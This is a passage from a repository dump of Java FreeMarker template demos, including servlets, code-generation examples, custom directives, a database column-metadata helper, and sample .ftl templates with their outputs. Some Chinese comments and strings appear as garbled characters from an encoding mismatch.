doc=tableNmae.substring(0,8);\n\t\t\t\tif(\"Y_DOCTOR\".equals(doc)){\n\t\t\t\t\tlist.add(crateTbale(tableNmae,tableRemarks));\n\t\t\t\t}\n\t\t\t}*/\n\t\t}\n//\t\tschema = getConnection.getMetaData().getUserName();\n//\t\tif ((schema == null) || (schema.length() == 0)) {\n//\t\t\tthrow new Exception(\"ORACLE数据库模式不允许为空\");\n//\t\t}\n\t\treturn list;\n\n\t}\n\n\t/**\n\t * 根据表名进行查找列\n\t * @param tableName\n\t * @param tableRemarks\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic Table crateTbale(String tableName,String tableRemarks) throws Exception {\n\t\tResultSet result = null;// 查询数据库\n\t\t//数据库元数据\n\t\tDatabaseMetaData metaData= getConnection.getMetaData();\n\t\t//根据表名获得列信息\n\t\tresult= metaData.getColumns(null,\"%\", tableName, \"%\");\n\t\t//自己编写的实体类\n\t\tTable table=new Table();\n\t\ttable.setTableName(tableName);\n\t\ttable.setTableRemarks(tableRemarks);\n\t\tList<Columns> list=new ArrayList<Columns>();\n\t\t//对列信息进行循环\n\t\twhile(result.next()) { \n\t\t\t//创建一个列的实体类\n\t\t\tColumns columns=new Columns();\n\t\t\tString columnName = result.getString(\"COLUMN_NAME\"); \n\t\t\tString columnType = result.getString(\"TYPE_NAME\");\n\t\t\tString REMARKS=result.getString(\"REMARKS\");\n\t\t\tint datasize = result.getInt(\"COLUMN_SIZE\"); \n\t\t\tint digits = result.getInt(\"DECIMAL_DIGITS\"); \n\t\t\tint nullable = result.getInt(\"NULLABLE\"); \n\t\t\tString nullable2=nullable==0?\"非空\":\"可以为空\";\n\t\t\tcolumns.setColumnName(columnName);\n\t\t\tcolumns.setColumnType(columnType);\n\t\t\tcolumns.setDatasize(datasize);\n\t\t\tcolumns.setDigits(digits);\n\t\t\tcolumns.setNullable(nullable2);\n\t\t\tcolumns.setREMARKS(REMARKS);\n\t\t\tlist.add(columns);\n\t\t}\n\t\ttable.setList(list);\n\t\treturn table;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/demo/FreeMarkerDemo.java",
    "content": "package com.jun.plugin.freemark.demo;\n\nimport java.util.List;\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.OutputStreamWriter;\nimport java.io.Writer;\nimport java.util.Date;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport freemarker.template.Configuration;\nimport freemarker.template.Template;\n\npublic class FreeMarkerDemo {\n\n    private static final String TEMPLATE_PATH = \"src/main/resources/templates\";\n\n    public static void main(String[] args) {\n        // step1 创建freeMarker配置实例\n        Configuration configuration = new Configuration();\n        Writer out = null;\n        try {\n            // step2 获取模版路径\n            configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));\n            // step3 创建数据模型\n            Map<String, Object> dataMap = new HashMap<String, Object>();\n            dataMap.put(\"name\", \"1234567890名称\");\n            dataMap.put(\"dateTime\", new Date());\n\n            List<User> users = new ArrayList<User>();\n            users.add(new User(1, \"标题\"));\n            users.add(new User(2, \"欢迎\"));\n            users.add(new User(3, \"You！\"));\n            dataMap.put(\"users\", users);\n            // step4 加载模版文件\n            Template template = configuration.getTemplate(\"stringFreeMarker.ftl\");\n            // step5 生成数据\n            out = new OutputStreamWriter(System.out);\n            // step6 输出文件\n            template.process(dataMap, out);\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            try {\n                if (null != out) {\n                    out.flush();\n                }\n            } catch (Exception e2) {\n                e2.printStackTrace();\n            }\n        }\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/demo/FreemarkerAutoCodeDemo.java",
    "content": "package com.jun.plugin.freemark.demo;\n\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.OutputStreamWriter;\nimport java.io.Writer;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport freemarker.template.Configuration;\nimport freemarker.template.Template;\n\n/**\n * 最常见的问题：\n *     FreeMarker jar 最新的版本（2.3.23）提示 Configuration 方法被弃用\n *      代码自动生产基本原理：\n *     数据填充 freeMarker 占位符\n */\npublic class FreemarkerAutoCodeDemo {\n\n    private static final String TEMPLATE_PATH = \"src/main/resources/templates\";\n    private static final String CLASS_PATH = \"D:\\\\workspace\\\\github\\\\jun_plugin\\\\jun_freemarker\\\\src\\\\test\\\\java\";\n\n    public static void main(String[] args) {\n        // step1 创建freeMarker配置实例\n        Configuration configuration = new Configuration();\n        Writer out = null;\n        try {\n            // step2 获取模版路径\n            configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));\n            // step3 创建数据模型\n            Map<String, Object> dataMap = new HashMap<String, Object>();\n            dataMap.put(\"classPath\", \"com.freemark.hello\");\n            dataMap.put(\"className\", \"AutoCodeDemo\");\n            dataMap.put(\"helloWorld\", \"简单<代码自动生产程序>  FreeMarker的HelloWorld！\");\n            // step4 加载模版文件\n            Template template = configuration.getTemplate(\"AutoCodeDemo.ftl\");\n            // step5 生成数据\n            File docFile = new File(CLASS_PATH + \"\\\\\" + \"AutoCodeDemo.java\");\n            out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(docFile)));\n            // step6 输出文件\n            template.process(dataMap, out);\n            System.out.println(\"^^^^^^^^^^^^^^^^^^^^^^^^AutoCodeDemo.java 文件创建成功 !\");\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            try {\n                if (null != out) {\n                    out.flush();\n                }\n            } catch (Exception e2) {\n                e2.printStackTrace();\n            }\n        }\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/demo/User.java",
    "content": "package com.jun.plugin.freemark.demo;\n\npublic class User {\n\n    private Integer id;\n    private String name;\n\n    public User() {\n    }\n\n    public User(Integer id, String name) {\n        this.id = id;\n        this.name = name;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    @Override\n    public String toString() {\n        return \"User [id=\" + id + \", name=\" + name + \"]\";\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/view/FreeMarkerView.java",
    "content": "package com.jun.plugin.freemark.view;\n\n\nimport java.io.IOException;\nimport java.io.Writer;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport freemarker.template.Configuration;\nimport freemarker.template.Template;\nimport freemarker.template.TemplateException;\n\n@SuppressWarnings(\"serial\")\npublic class FreeMarkerView extends HttpServlet {\n\n\tpublic FreeMarkerView() {\n\t\tsuper();\n\t}\n\n\t// 负责管理FreeMarker模板的Configuration实例\n\tprivate Configuration cfg = null;\n\n\tpublic void init() throws ServletException {\n\t\t// 创建一个FreeMarker实例\n\t\tcfg = new Configuration();\n\t\t// 指定FreeMarker模板文件的位置\n\t\tcfg.setServletContextForTemplateLoading(getServletContext(), \"/WEB-INF/templates\");\n\t}\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tdoPost(request, response);\n\t}\n\n\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n\tpublic void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t// 建立数据模型\n\t\tMap root = new HashMap();\n\t\troot.put(\"message\", \"hello world\");\n\t\troot.put(\"name\", \"屌丝\");\n\t\t// root.put(\"personList\", list);\n\n\t\t// 获取模板文件\n\t\tTemplate t = cfg.getTemplate(\"test.ftl\");\n\n\t\t// 开始准备生成输出\n\t\t// - 使用模板文件的Charset作为本页面的charset\n\t\t// - 使用text/html MIME-type\n\t\tresponse.setContentType(\"text/html; charset=\" + t.getEncoding());\n\t\tWriter out = response.getWriter();\n\t\t// 合并数据模型和模板，并将结果输出到out中\n\t\ttry {\n\t\t\tt.process(root, out); // 往模板里写数据\n\t\t} catch (TemplateException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic void destroy() {\n\t\tsuper.destroy();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/ClientTest.java",
    "content": "package com.jun.plugin.freemarker;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n\n/**\n * \n * 客户端测试模板输入类\n * @author hailang\n * @date 2009-7-9 下午04:11:20\n * @version 1.0\n */\npublic class ClientTest {\n\t\n\tpublic static List<User> initUserList(){\n\t\tList<User> list=new ArrayList<User>();\n\t\tUser user1=new User();\n\t\tuser1.setUserName(\"张三\");\n\t\tuser1.setUserPassword(\"123\");\n\t\tuser1.setAge(20);\n\t\t\n\t\t\n\t\tUser user2=new User();\n\t\tuser2.setUserName(\"李四\");\n\t\tuser2.setUserPassword(\"123\");\n\t\tuser2.setAge(22);\n\t\t\n\t\tUser user3=new User();\n\t\tuser3.setUserName(\"王五\");\n\t\tuser3.setUserPassword(\"123\");\n\t\tuser3.setAge(21);\n\t\t\n\t\tlist.add(user1);\n\t\tlist.add(user2);\n\t\tlist.add(user3);\n\t\t\n\t\treturn list;\n\t\t\n\t}\n\t\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\t\n\t\tMap<String,Object> root=new HashMap<String, Object>();\n\t\tList<User> list=ClientTest.initUserList();\n\t\t\n\t\troot.put(\"userList\",list);\n\t\t\n//\t\tFreeMarkerUtil.analysisTemplate(\"user.ftl\", \"UTF-8\", root);\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/Example.java",
    "content": "package com.jun.plugin.freemarker;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.OutputStreamWriter;\nimport java.io.Writer;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n\nimport freemarker.template.Configuration;\nimport freemarker.template.DefaultObjectWrapper;\nimport freemarker.template.Template;\n\npublic class Example {\n\n\tprivate static String FILE_DIR = \"c:\\\\sample\\\\freemarker\\\\\";\n\n\tpublic static void main(String[] args) {\n\t\t\n\t\tFile f = new File(FILE_DIR);\n\t\tif (!f.isDirectory()) {\n\t\t\tf.mkdirs();\n\t\t}\n\t\t\n\t\tExample t = new Example();\n\t\t\n\t\t//计算式\n\t\tt.process(\"T101.ftl\");\n\n\t\t//输出一个值\n\t\tHashMap t2root = new HashMap<String, String>();\n\t\tt2root.put(\"user\", \"RenSanNing\");\n\t\tt.process(\"T102.ftl\", t2root);\n\n\t\t//输出一个列表\n\t\tMap<String, Object> t3root = new HashMap<String, Object>();\n        List<Food> menu = new ArrayList<Food>();\n        menu.add(new Food(\"iText in Action\", 98));\n        menu.add(new Food(\"iBATIS in Action\", 118));\n        menu.add(new Food(\"Lucene in Action\", 69));\n        t3root.put(\"menu\", menu);\n\t\tt.process(\"T103.ftl\", t3root);\n\n\t\t//逻辑判断（IF,SWITCH)\n\t\tMap<String, Object> t4root = new HashMap<String, Object>();\n\t\tt4root.put(\"x\", 2);\n\t\tt4root.put(\"y\", \"medium\");\n\t\tt.process(\"T104.ftl\", t4root);\n\t\t\n\t\t//自定义函数\n\t\tt.process(\"T105.ftl\");\n\t\t\n\t\t//定义变量\n\t\tt.process(\"T106.ftl\");  \n\n\t\t//定义宏macro\n\t\tt.process(\"T107.ftl\");\n\t\t\n\t\t//include\n\t\tt.process(\"T108.ftl\");\n\n\t\t//名字空间\n\t\tt.process(\"T109.ftl\");\n\t\t\n\t\t//自定义指令Directive\n\t\tMap<String, Object> t10root = new HashMap<String, Object>();\n\t\tt10root.put(\"systemdate\", new SystemDateDirective());\n\t\tt10root.put(\"text_cut\", new TextCutDirective());\n\t\tt.process(\"T110.ftl\", t10root);\n\t\t\n\t}\n\n\tpublic void process(String template, Map<String, ?> data){\n\t\ttry {\n\t\t\tConfiguration cfg = new Configuration();\n\t\t\tcfg.setDirectoryForTemplateLoading(new File(\"ftl\"));\n\t\t\tcfg.setObjectWrapper(new DefaultObjectWrapper());\n\t\t\t\n\t\t\t//设置字符集\n\t\t\tcfg.setDefaultEncoding(\"UTF-8\");\n\t\t\t\n\t\t\t//设置尖括号语法和方括号语法,默认是自动检测语法\n\t\t\t//  自动 AUTO_DETECT_TAG_SYNTAX\n\t\t\t//  尖括号 ANGLE_BRACKET_TAG_SYNTAX\n\t\t\t//  方括号 SQUARE_BRACKET_TAG_SYNTAX\n\t\t\tcfg.setTagSyntax(Configuration.AUTO_DETECT_TAG_SYNTAX);\n\t\n\t\t\tWriter out = new OutputStreamWriter(new FileOutputStream(FILE_DIR + template + \".txt\"),\"UTF-8\");\n\t\t\tTemplate temp = cfg.getTemplate(template);\n\t\t\ttemp.process(data, out);\n\t\t\tout.flush();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\tpublic void process(String template) {\n\t\tprocess(template, null);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/Food.java",
    "content": "package com.jun.plugin.freemarker;\n\npublic class Food {\n\tprivate String name;\n    private int price;\n    public Food(String name, int price) {\n        this.name = name;\n        this.price = price;\n    }\n    public String getName() {\n        return name;\n    }\n    public int getPrice() {\n        return price;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/FreeMarkerView.java",
    "content": "package com.jun.plugin.freemarker;\n\nimport java.io.IOException;\nimport java.io.Writer;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport freemarker.template.Configuration;\nimport freemarker.template.Template;\nimport freemarker.template.TemplateException;\n\n@SuppressWarnings(\"serial\")\npublic class FreeMarkerView extends HttpServlet {\n\n\tpublic FreeMarkerView() {\n\t\tsuper();\n\t}\n\n\t// 负责管理FreeMarker模板的Configuration实例\n\tprivate Configuration cfg = null;\n\n\tpublic void init() throws ServletException {\n\t\t// 创建一个FreeMarker实例\n\t\tcfg = new Configuration();\n\t\t// 指定FreeMarker模板文件的位置\n\t\tcfg.setServletContextForTemplateLoading(getServletContext(), \"/WEB-INF/templates\");\n\t}\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tdoPost(request, response);\n\t}\n\n\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n\tpublic void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t// 建立数据模型\n\t\tMap root = new HashMap();\n\t\troot.put(\"message\", \"hello world\");\n\t\troot.put(\"name\", \"屌丝\");\n\t\t// root.put(\"personList\", list);\n\n\t\t// 获取模板文件\n\t\tTemplate t = cfg.getTemplate(\"test.ftl\");\n\n\t\t// 开始准备生成输出\n\t\t// - 使用模板文件的Charset作为本页面的charset\n\t\t// - 使用text/html MIME-type\n\t\tresponse.setContentType(\"text/html; charset=\" + t.getEncoding());\n\t\tWriter out = response.getWriter();\n\t\t// 合并数据模型和模板，并将结果输出到out中\n\t\ttry {\n\t\t\tt.process(root, out); // 往模板里写数据\n\t\t} catch (TemplateException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic void destroy() {\n\t\tsuper.destroy();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/FreemarkerTest.java",
    "content": "package com.jun.plugin.freemarker;\n\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.io.PrintWriter;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.junit.Test;\n\nimport freemarker.template.Configuration;\nimport freemarker.template.Template;\nimport freemarker.template.TemplateExceptionHandler;\n\npublic class FreemarkerTest{\n\t\n\tstatic String dir = \"D:/workspace/workspace_jun_eclipse/jun_base/src_freemarker/com/jun/freemarker/\";\n\t@Test\n\tpublic void testFreemarker01() throws Exception{\n\t\t\n\t\t\n\t\tConfiguration cfg = new Configuration();\n\t\t\n\t\t//��ʲô�ط�����ģ���ļ�\n\t\tcfg.setDirectoryForTemplateLoading(new File(dir));\n\t\t\n\t\t//����ģ��\n\t\tTemplate template = cfg.getTemplate(\"test01.ftl\");\n\t\t\n\t\t//��������\n\t\tMap root = new HashMap();\n\t\troot.put(\"strvalue\", \"�������\");\n\t\t\n\t\t//�������\n\t\tPrintWriter out \n\t\t\t= new PrintWriter(\n\t\t\t\tnew BufferedWriter(\n\t\t\t\t\tnew FileWriter(dir+\"\\\\test01_out.txt\")\n\t\t\t\t)\n\t\t\t);\n\t\t\n\t\t//����ģ�壬�����\n\t\ttemplate.process(root, out);\n\t\t\n\t}\n\t\n\t//���ڿ�ֵ���������\n\tpublic void testFreemarker02() throws Exception{\n\t\t\n//\t\tString dir = \"D:\\\\share\\\\JavaProjects\\\\oa\\\\freemarker\\\\src\\\\com\\\\bjsxt\\\\freemarker\";\n\t\t\n\t\tConfiguration cfg = new Configuration();\n\t\t\n\t\t//��ʲô�ط�����ģ���ļ�\n\t\tcfg.setDirectoryForTemplateLoading(new File(dir));\n\t\t\n\t\t//�����쳣\n\t\tcfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);\n\t\t\n\t\t//����ģ��\n\t\tTemplate template = cfg.getTemplate(\"test02.ftl\");\n\t\t\n\t\t//��������\n\t\tMap root = new HashMap();\n\t\t//root.put(\"strvalue\", \"�������\");\n\t\t\n\t\t//�������\n\t\tPrintWriter out \n\t\t\t= new PrintWriter(\n\t\t\t\tnew BufferedWriter(\n\t\t\t\t\tnew FileWriter(dir+\"\\\\test02_out.txt\")\n\t\t\t\t)\n\t\t\t);\n\t\t\n\t\t//����ģ�壬�����\n\t\ttemplate.process(root, out);\n\t\t\n\t}\n\t\n\t//����������\n\tpublic void testFreemarker03() throws Exception{\n\t\t\n//\t\tString dir = \"D:\\\\share\\\\JavaProjects\\\\oa\\\\freemarker\\\\src\\\\com\\\\bjsxt\\\\freemarker\";\n\t\t\n\t\tConfiguration cfg = new Configuration();\n\t\t\n\t\t//��ʲô�ط�����ģ���ļ�\n\t\tcfg.setDirectoryForTemplateLoading(new File(dir));\n\t\t\n\t\t//�����쳣\n\t\tcfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);\n\t\t\n\t\t//����ģ��\n\t\tTemplate template = cfg.getTemplate(\"test03.ftl\");\n\t\t\n\t\t//��������\n\t\tMap root = new HashMap();\n\t\t\n\t\tList list = new ArrayList();\n\t\tfor(int i=0; i<10; i++){\n\t\t\tlist.add(\"listvalue\"+i);\n\t\t}\n\t\troot.put(\"listvalue\", list);\n\t\t\n\t\t//�������\n\t\tPrintWriter out \n\t\t\t= new PrintWriter(\n\t\t\t\tnew BufferedWriter(\n\t\t\t\t\tnew FileWriter(dir+\"\\\\test03_out.txt\")\n\t\t\t\t)\n\t\t\t);\n\t\t\n\t\t//����ģ�壬�����\n\t\ttemplate.process(root, out);\n\t\t\n\t}\n\t\n\t//freemarker �궨��\n\tpublic void testFreemarker04() throws Exception{\n\t\t\n//\t\tString dir = \"D:\\\\share\\\\JavaProjects\\\\oa\\\\freemarker\\\\src\\\\com\\\\bjsxt\\\\freemarker\";\n\t\t\n\t\tConfiguration cfg = new Configuration();\n\t\t\n\t\t//��ʲô�ط�����ģ���ļ�\n\t\tcfg.setDirectoryForTemplateLoading(new File(dir));\n\t\t\n\t\t//�����쳣\n\t\tcfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);\n\t\t\n\t\t//����ģ��\n\t\tTemplate template = cfg.getTemplate(\"test04.ftl\");\n\t\t\n\t\t//��������\n\t\tMap root = new HashMap();\n\t\troot.put(\"name\", \"����\");\n\t\t\n\t\t//�������\n\t\tPrintWriter out \n\t\t\t= new PrintWriter(\n\t\t\t\tnew BufferedWriter(\n\t\t\t\t\tnew FileWriter(dir+\"\\\\test04_out.txt\")\n\t\t\t\t)\n\t\t\t);\n\t\t\n\t\t//����ģ�壬�����\n\t\ttemplate.process(root, out);\n\t\t\n\t}\n\t\n\t//freemarker auto-import���Ե���ʾ\n\tpublic void testFreemarker05() throws Exception{\n\t\t\n//\t\tString dir = \"D:\\\\share\\\\JavaProjects\\\\oa\\\\freemarker\\\\src\\\\com\\\\bjsxt\\\\freemarker\";\n\t\t\n\t\tConfiguration cfg = new Configuration();\n\t\t\n\t\t//��ʲô�ط�����ģ���ļ�\n\t\tcfg.setDirectoryForTemplateLoading(new File(dir));\n\t\t\n\t\t//�����쳣\n\t\tcfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);\n\t\t\n\t\t//�Զ���������ԣ��Զ�import������ģ���ļ�\n\t\tcfg.addAutoImport(\"my\", \"common.ftl\");\n\t\t\n\t\t//����ģ��\n\t\tTemplate template = cfg.getTemplate(\"test05.ftl\");\n\t\t\n\t\t//��������\n\t\tMap root = new HashMap();\n\t\troot.put(\"name\", \"����\");\n\t\t\n\t\t//�������\n\t\tPrintWriter out \n\t\t\t= new PrintWriter(\n\t\t\t\tnew BufferedWriter(\n\t\t\t\t\tnew FileWriter(dir+\"\\\\test05_out.txt\")\n\t\t\t\t)\n\t\t\t);\n\t\t\n\t\t//����ģ�壬�����\n\t\ttemplate.process(root, out);\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/SystemDateDirective.java",
    "content": "package com.jun.plugin.freemarker;\n\nimport java.io.IOException;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Map;\n\nimport freemarker.core.Environment;\nimport freemarker.template.TemplateDirectiveBody;\nimport freemarker.template.TemplateDirectiveModel;\nimport freemarker.template.TemplateException;\nimport freemarker.template.TemplateModel;\n\npublic class SystemDateDirective implements TemplateDirectiveModel {\n\t\n\tpublic void execute(Environment env, Map params, TemplateModel[] loopVars,\n\t\t\tTemplateDirectiveBody body) throws TemplateException, IOException {\n\t\tCalendar cal = Calendar.getInstance();\n\t\tSimpleDateFormat sdf = new SimpleDateFormat(\"yyyy/MM/dd HH:mm:ss\");\n\t\tenv.getOut().append(sdf.format(cal.getTime()));\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/TextCutDirective.java",
    "content": "package com.jun.plugin.freemarker;\n\nimport java.io.IOException;\nimport java.io.Writer;\nimport java.util.Map;\n\nimport freemarker.core.Environment;\nimport freemarker.template.TemplateDirectiveBody;\nimport freemarker.template.TemplateDirectiveModel;\nimport freemarker.template.TemplateException;\nimport freemarker.template.TemplateModel;\nimport freemarker.template.TemplateNumberModel;\nimport freemarker.template.TemplateScalarModel;\n\npublic class TextCutDirective implements TemplateDirectiveModel {\n\tpublic static final String PARAM_S = \"s\";\n\tpublic static final String PARAM_LEN = \"len\";\n\tpublic static final String PARAM_APPEND = \"append\";\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic void execute(Environment env, Map params, TemplateModel[] loopVars,\n\t\t\tTemplateDirectiveBody body) throws TemplateException, IOException {\n\t\tString s = getString(PARAM_S, params);\n\t\tInteger len = getInt(PARAM_LEN, params);\n\t\tString append = getString(PARAM_APPEND, params);\n\t\tif (s != null) {\n\t\t\tWriter out = env.getOut();\n\t\t\tif (len != null) {\n\t\t\t\tout.append(textCut(s, len, append));\n\t\t\t} else {\n\t\t\t\tout.append(s);\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate String getString(String name,\n\t\t\tMap<String, TemplateModel> params) throws TemplateException {\n\t\tTemplateModel model = params.get(name);\n\t\tif (model == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif (model instanceof TemplateScalarModel) {\n\t\t\treturn ((TemplateScalarModel) model).getAsString();\n\t\t} else if ((model instanceof TemplateNumberModel)) {\n\t\t\treturn ((TemplateNumberModel) model).getAsNumber().toString();\n\t\t} else {\n\t\t\treturn \"\";\n\t\t}\n\t}\n\n\tprivate Integer getInt(String name, Map<String, TemplateModel> params)\n\t\t\tthrows TemplateException {\n\t\tTemplateModel model = params.get(name);\n\t\tif (model == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif (model instanceof TemplateScalarModel) {\n\t\t\tString s = ((TemplateScalarModel) model).getAsString();\n\t\t\tif (s == null || \"\".equals(s)) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\ttry {\n\t\t\t\treturn Integer.parseInt(s);\n\t\t\t} catch (NumberFormatException e) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t} else if (model instanceof TemplateNumberModel) {\n\t\t\treturn ((TemplateNumberModel) model).getAsNumber().intValue();\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}\n\t\n\tprivate String textCut(String s, int len, String append) {\n\t\tif (s == null) {\n\t\t\treturn null;\n\t\t}\n\t\tint slen = s.length();\n\t\tif (slen <= len) {\n\t\t\treturn s;\n\t\t}\n\t\t// 最大计数（如果全是英文）\n\t\tint maxCount = len * 2;\n\t\tint count = 0;\n\t\tint i = 0;\n\t\tfor (; count < maxCount && i < slen; i++) {\n\t\t\tif (s.codePointAt(i) < 256) {\n\t\t\t\tcount++;\n\t\t\t} else {\n\t\t\t\tcount += 2;\n\t\t\t}\n\t\t}\n\t\tif (i < slen) {\n\t\t\tif (count > maxCount) {\n\t\t\t\ti--;\n\t\t\t}\n\t\t\tif (!(append == null || \"\".equals(append))) {\n\t\t\t\tif (s.codePointAt(i - 1) < 256) {\n\t\t\t\t\ti -= 2;\n\t\t\t\t} else {\n\t\t\t\t\ti--;\n\t\t\t\t}\n\t\t\t\treturn s.substring(0, i) + append;\n\t\t\t} else {\n\t\t\t\treturn s.substring(0, i);\n\t\t\t}\n\t\t} else {\n\t\t\treturn s;\n\t\t}\n\t}\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/User.java",
    "content": "package com.jun.plugin.freemarker;\n\n/**\n * \n *  用户信息\n * @author hailang\n * @date 2009-9-9 上午09:13:51\n * @version 1.0\n */\npublic class User {\n\tprivate String userName;\n\tprivate String userPassword;\n\tprivate Integer age;\n\t\n\t\n\tpublic String getUserName() {\n\t\treturn userName;\n\t}\n\n\tpublic void setUserName(String userName) {\n\t\tthis.userName = userName;\n\t}\n\n\tpublic String getUserPassword() {\n\t\treturn userPassword;\n\t}\n\n\tpublic void setUserPassword(String userPassword) {\n\t\tthis.userPassword = userPassword;\n\t}\n\n\tpublic Integer getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(Integer age) {\n\t\tthis.age = age;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/common.ftl",
    "content": "<#macro greet p>\n\tHello,${p}\n</#macro>"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/test01.ftl",
    "content": "һԳ${strvalue}"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/test01_out.txt",
    "content": "��һ�����Գ����������"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/test02.ftl",
    "content": "һԳ${strvalue}\n...."
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/test02_out.txt",
    "content": "��һ�����Գ���\n��������...."
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/test03.ftl",
    "content": "listvalue:\n\n<#list listvalue as v>\n\t${v} [${v_index}]\n</#list>"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/test03_out.txt",
    "content": "listvalue:\n\n\tlistvalue0 [0]\n\tlistvalue1 [1]\n\tlistvalue2 [2]\n\tlistvalue3 [3]\n\tlistvalue4 [4]\n\tlistvalue5 [5]\n\tlistvalue6 [6]\n\tlistvalue7 [7]\n\tlistvalue8 [8]\n\tlistvalue9 [9]\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/test04.ftl",
    "content": "<#macro greet p>\n\tHello,${p}\n</#macro>\n\n<@greet p=\"\"/>\n<@greet p=\"${name}\"/>"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/test04_out.txt",
    "content": "\n\tHello,����\n\tHello,����\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/test05_out.txt",
    "content": "\tHello,����\n\tHello,����\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemarker/user.ftl",
